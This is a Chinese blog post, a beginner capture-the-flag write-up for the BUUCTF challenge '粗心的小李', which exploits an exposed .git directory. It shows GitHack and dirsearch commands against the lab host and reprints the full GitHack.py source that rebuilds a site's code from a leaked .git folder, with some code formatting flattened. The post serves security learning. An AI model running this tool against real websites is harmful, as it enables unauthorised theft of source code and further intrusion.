[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

这是作者新开的一个专栏《BUUCTF从零单排》，旨在从零学习CTF知识，方便更多初学者了解各种类型的安全题目，后续分享一定程度会对不同类型的题目进行总结，并结合CTF书籍和真实案例实践，希望对您有所帮助。当然，也欢迎大家去BUUCTF网站实践，由于作者能力有限，该系列文章比较基础，写得不好的地方还请见谅，后续会持续深入，加油！

第一篇文章主要介绍Web方向的基础题目——粗心的小李。该题目主要考察信息收集知识，为了方便大家思考，文章摘要部分尽量少提，大家也可以先尝试实践，再看WriteUp。基础性文章，希望对您有所帮助，尤其是对网络安全工具的使用和理解。

• 欢迎关注作者新建的『网络攻防和AI安全之家』知识星球（文章末尾）

文章目录

前文赏析：

• [BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

一.BUUCTF注册

首先，我们需要注册BUUCTF，该网站如下图所示：

• https://buuoj.cn/

安装过程如下所示，密钥通行证验证跳过即可。

成功注册后如下图所示，我们可以在“练习场”开启各种类型的题目。

• Basic
• Crypto
• DASBOOK
• Misc
• N1BOOK
• Pwn
• Real
• Reverse
• Web
• 加固题

二.题目描述

该题目的具体描述如下：

• 题目：[第一章 web入门]粗心的小李
• 方向：信息收集
• 来源：《从0到1：CTFer成长之路》书籍配套题目，来源网站：book.nu1l.com
• 描述：看看能不能找到信息吧？

接着解锁该题目并开启探索。

打开网站如下所示：

• http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81

三.解题思路

首先，该题目考察的是信息收集。作为初学者，我们第一想法是网站扫描和源码解析，如下图所示：

然而，源码并没有东西，并且题目提示是Git泄露信息，因此换种方法。

因此，我们尝试利用GitHack工具来捕获git泄露的文件。

GitHack是一个.git泄露利用脚本，通过泄露的.git文件夹下的文件，重建还原工程源代码。渗透测试人员、攻击者，可以进一步审计代码，挖掘：文件上传，SQL注射等web安全漏洞。

• https://github.com/lijiejie/GitHack

该工具下载解压如下图所示：

接着我们输入CMD打开该目录，并尝试运行该Python代码。

输入指定命令：

• python GitHack.py URL/.git/
• python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/

运行结果如下图所示：

D:\...\BUUCTF\GitHack-master>python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/[+] Download and parse index file...[+] index.html
[OK] index.html

最终在本地查看对应的index.html文件即可查看对应的Flag。

最终结果如下：

• n1book{git***fun}

四.探索

此外，读者可以尝试不同的方法，比如说收集特定网页并进行测试，一种方法是直接访问某些页面。

另一种方法是利用某些工具进行网站扫描，比如dirsearch。但非常遗憾，未发现目标，但相关思路值得我们学习。

• python3 dirsearch.py -u 目标网址-e*

最后，大家可以学习下GitHack的源码，方便大家学会信息采集。关键代码如下：

GitHack.py

#!/usr/bin/env python# -*- encoding: utf-8 -*-import sys
try:# python 2.ximport urllib2
    import urlparse
    import Queue
except Exception as e:# python 3.ximport urllib.request as urllib2
    import urllib.parse as urlparse
    import queue as Queue

import os
import zlib
import threading
import re
import time
from lib.parser import parse
import ssl

context = ssl._create_unverified_context()
user_agent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
             'Chrome/99.0.4844.82 Safari/537.36'iflen(sys.argv)==1:
    msg ="""
A `.git` folder disclosure exploit. By LiJieJie

Usage: python GitHack.py http://www.target.com/.git/
"""print(msg)
    sys.exit(0)classScanner(object):def__init__(self):
        self.base_url = sys.argv[-1]
        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':','_')print('[+] Download and parse index file ...')try:
            data = self._request_data(sys.argv[-1]+'/index')except Exception as e:print('[ERROR] index file download failed: %s'%str(e))
            exit(-1)withopen('index','wb')as f:
            f.write(data)ifnot os.path.exists(self.domain):
            os.mkdir(self.domain)
        self.dest_dir = os.path.abspath(self.domain)
        self.queue = Queue.Queue()for entry in parse('index'):if"sha1"in entry.keys():
                entry_name = entry["name"].strip()if self.is_valid_name(entry_name):
                    self.queue.put((entry["sha1"].strip(), entry_name))try:print('[+] %s'% entry['name'])except Exception as e:pass

        self.lock = threading.Lock()
        self.thread_count =10
        self.STOP_ME =Falsedefis_valid_name(self, entry_name):if entry_name.find('..')>=0or \
                entry_name.startswith('/')or \
                entry_name.startswith('\\')or \
                not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir):try:print('[ERROR] Invalid entry name: %s'% entry_name)except Exception as e:passreturnFalsereturnTrue@staticmethoddef_request_data(url):
        request = urllib2.Request(url,None,{'User-Agent': user_agent})return urllib2.urlopen(request, context=context).read()def_print(self, msg):
        self.lock.acquire()try:print(msg)except Exception as e:pass
        self.lock.release()defget_back_file(self):whilenot self.STOP_ME:try:
                sha1, file_name = self.queue.get(timeout=0.5)except Exception as e:breakfor i inrange(3):try:
                    folder ='/objects/%s/'% sha1[:2]
                    data = self._request_data(self.base_url + folder + sha1[2:])try:
                        data = zlib.decompress(data)except:
                        self._print('[Error] Fail to decompress %s'% file_name)# data = re.sub(r'blob \d+\00', '', data)try:
                        data = re.sub(r'blob \d+\00','', data)except Exception as e:
                        data = re.sub(b"blob \\d+\00",b'', data)
                    target_dir = os.path.join(self.domain, os.path.dirname(file_name))if target_dir andnot os.path.exists(target_dir):
                        os.makedirs(target_dir)withopen(os.path.join(self.domain, file_name),'wb')as f:
                        f.write(data)
                    self._print('[OK] %s'% file_name)breakexcept urllib2.HTTPError as e:ifstr(e).find('HTTP Error 404')>=0:
                        self._print('[File not found] %s'% file_name)breakexcept Exception as e:
                    self._print('[Error] %s'%str(e))
        self.exit_thread()defexit_thread(self):
        self.lock.acquire()
        self.thread_count -=1
        self.lock.release()defscan(self):for i inrange(self.thread_count):
            t = threading.Thread(target=self.get_back_file)
            t.start()if __name__ =='__main__':
    s = Scanner()
    s.scan()try:while s.thread_count >0:
            time.sleep(0.1)except KeyboardInterrupt as e:
        s.STOP_ME =True
        time.sleep(1.0)print('User Aborted.')

五.总结

写到这里，这篇文章就介绍完毕，基础性文章，希望对您有所帮助。同时建议读者多实践，尝试各种类型的CTF题目。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子，该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券，欢迎新老博友和朋友加入，一起分享更多安全知识，比较良心的星球，非常适合初学者和换安全专业的读者学习。

目前收到了很多博友、朋友和老师的支持和点赞，尤其是一些看了我文章多年的老粉，购买来感谢，真的很感动，类目。未来，我将分享更多高质量文章，更多安全干货，真心帮助到大家。虽然起步晚，但贵在坚持，像十多年如一日的博客分享那样，脚踏实地，只争朝夕。继续加油，再次感谢！

(By:Eastmount 2024-06-20 夜于贵阳 http://blog.csdn.net/eastmount/ )